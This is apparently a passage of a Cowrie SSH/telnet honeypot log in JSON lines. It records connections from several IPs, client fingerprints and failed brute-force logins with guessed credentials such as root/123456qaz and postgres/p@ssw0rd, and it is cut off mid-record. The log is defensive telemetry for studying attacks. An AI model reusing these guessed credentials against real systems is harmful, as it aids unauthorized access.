{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":15376,"dst_ip":"10.17.0.5","dst_port":22,"session":"2404cc053793","protocol":"ssh","message":"New connection: 45.153.34.97:15376 (10.17.0.5:22) [session: 2404cc053793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:56.377898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:56.382021Z","src_ip":"45.153.34.97","session":"2404cc053793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:56.603384Z","src_ip":"45.153.34.97","session":"2404cc053793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p@ssw0rd","message":"login attempt [postgres/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:57.008863Z","src_ip":"45.153.34.97","session":"2404cc053793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:58.093961Z","src_ip":"45.153.34.97","session":"2404cc053793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":57668,"dst_ip":"10.17.0.5","dst_port":22,"session":"9106166f3527","protocol":"ssh","message":"New connection: 45.78.230.231:57668 (10.17.0.5:22) [session: 9106166f3527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:58.417381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:58.421843Z","src_ip":"45.78.230.231","session":"9106166f3527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.73139142990112,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:59.872456Z","src_ip":"152.42.224.71","session":"f6d62b0ee54f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.101523Z","src_ip":"45.78.230.231","session":"9106166f3527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41455841064453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.289207Z","src_ip":"152.42.224.71","session":"322e0d165d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17248,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b828f0e022","protocol":"ssh","message":"New connection: 45.153.34.97:17248 (10.17.0.5:22) [session: a6b828f0e022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.691262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.696001Z","src_ip":"45.153.34.97","session":"a6b828f0e022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.782469Z","src_ip":"45.153.34.97","session":"a6b828f0e022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":54882,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8744b3c78b1","protocol":"ssh","message":"New connection: 159.65.8.74:54882 (10.17.0.5:22) [session: d8744b3c78b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.901253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:00.906630Z","src_ip":"159.65.8.74","session":"d8744b3c78b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:01.162272Z","src_ip":"159.65.8.74","session":"d8744b3c78b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:01.177502Z","src_ip":"45.153.34.97","session":"a6b828f0e022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:01.460458Z","src_ip":"45.78.230.231","session":"9106166f3527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.00391864776611,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:01.482028Z","src_ip":"152.42.224.71","session":"e327f8abc83d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36de7eb946f","protocol":"telnet","message":"New connection: 152.42.224.71:44880 (10.17.0.5:23) [session: d36de7eb946f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:01.742439Z"}
{"eventid":"cowrie.session.closed","duration":0.4472653865814209,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:02.189435Z","src_ip":"152.42.224.71","session":"d36de7eb946f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qaz","message":"login attempt [root/123456qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:02.245347Z","src_ip":"159.65.8.74","session":"d8744b3c78b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:02.278329Z","src_ip":"45.153.34.97","session":"a6b828f0e022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:03.502664Z","src_ip":"159.65.8.74","session":"d8744b3c78b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:03.975136Z","src_ip":"45.78.230.231","session":"9106166f3527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17262,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4b35e067668","protocol":"ssh","message":"New connection: 45.153.34.97:17262 (10.17.0.5:22) [session: a4b35e067668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:04.569221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:04.577895Z","src_ip":"45.153.34.97","session":"a4b35e067668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:04.677040Z","src_ip":"45.153.34.97","session":"a4b35e067668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.88416337966919,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:05.013439Z","src_ip":"152.42.224.71","session":"f4fb8763474b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dm","password":"dm","message":"login attempt [dm/dm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:05.080956Z","src_ip":"45.153.34.97","session":"a4b35e067668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:06.180145Z","src_ip":"45.153.34.97","session":"a4b35e067668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":59488,"dst_ip":"10.17.0.5","dst_port":22,"session":"019f7bb034be","protocol":"ssh","message":"New connection: 181.47.9.103:59488 (10.17.0.5:22) [session: 019f7bb034be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:07.759986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:07.766421Z","src_ip":"181.47.9.103","session":"019f7bb034be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:07.909971Z","src_ip":"181.47.9.103","session":"019f7bb034be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17266,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8e69f23b7e","protocol":"ssh","message":"New connection: 45.153.34.97:17266 (10.17.0.5:22) [session: ee8e69f23b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:08.417833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:08.423006Z","src_ip":"45.153.34.97","session":"ee8e69f23b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:08.505651Z","src_ip":"45.153.34.97","session":"ee8e69f23b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1981","message":"login attempt [root/1981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:08.516514Z","src_ip":"181.47.9.103","session":"019f7bb034be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crazy123","message":"login attempt [root/crazy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:08.969986Z","src_ip":"45.153.34.97","session":"ee8e69f23b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce730694a4a","protocol":"telnet","message":"New connection: 152.42.224.71:47114 (10.17.0.5:23) [session: 7ce730694a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:09.408546Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:09.668661Z","src_ip":"181.47.9.103","session":"019f7bb034be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:10.068966Z","src_ip":"45.153.34.97","session":"ee8e69f23b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c7c7e5646e","protocol":"telnet","message":"New connection: 152.42.224.71:47122 (10.17.0.5:23) [session: 10c7c7e5646e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:11.172745Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":38418,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5e78ca13303","protocol":"ssh","message":"New connection: 45.153.34.97:38418 (10.17.0.5:22) [session: d5e78ca13303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:12.391217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:12.402922Z","src_ip":"45.153.34.97","session":"d5e78ca13303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"mes